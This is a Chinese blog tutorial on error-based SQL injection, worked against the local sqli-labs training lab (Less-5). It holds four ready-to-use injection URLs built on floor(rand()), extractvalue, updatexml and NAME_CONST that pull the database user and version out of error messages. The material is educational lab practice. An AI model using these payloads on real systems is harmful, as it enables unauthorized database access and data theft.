SQL报错注入

报错注入

报错注入的前提是页面上没有显示位,但必须有SQL语句执行错误的信息。攻击者可以通过输入单引号等方式来尝试触发错误,并利用如floor()、extractvalue()、updatexml()等函数来构造恶意的SQL语句,从而获取数据库的信息。

  1. 使用报错注入
  • 某些数据库配置可能不允许在 SELECT 语句的某些部分使用 RAND() 函数,或者可能在特定上下文中对其使用有限制。
  • floor(rand(0)*2) 被用在了查询的某个不允许使用这种数学表达式的地方(例如,在 GROUP BY 子句中),那么它可能会触发错误。
  • updatexml() 函数经常与 SQL 注入攻击相关,因为当 XPath 表达式格式不正确时,它会产生错误消息,这有时会被攻击者用来提取数据库的信息。
http://localhost/sqli-labs/Less-5/?id=1%27union%20select%201,count(*),concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

在这里插入图片描述
2. xpath 函数报错注入

  • 通过闭合原始SQL查询,并插入恶意SQL代码(使用extractvalue函数触发错误并暴露数据库版本信息),尝试从数据库的错误信息中提取敏感信息。
http://localhost/sqli-labs/Less-5/?id=1%27and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))%20--+

在这里插入图片描述
3. xpath函数报错注入

  • 通过闭合原始SQL查询,并插入恶意SQL代码(使用updatexml函数触发错误并暴露数据库版本信息),尝试从数据库的错误信息中提取敏感信息。
http://localhost/sqli-labs/Less-5/?id=1%27and%20updatexml(1,concat(0x7e,(select%20@@version),0x7e),1)%20--+

在这里插入图片描述
4. 利用数据的重复性

http://localhost/sqli-labs/Less-5/?id=1%27union%20select%201,2,3%20from%20(select%20NAME_CONST(version(),1),%20NAME_CONST(version(),1))x--+

在这里插入图片描述

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CyberSecure

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值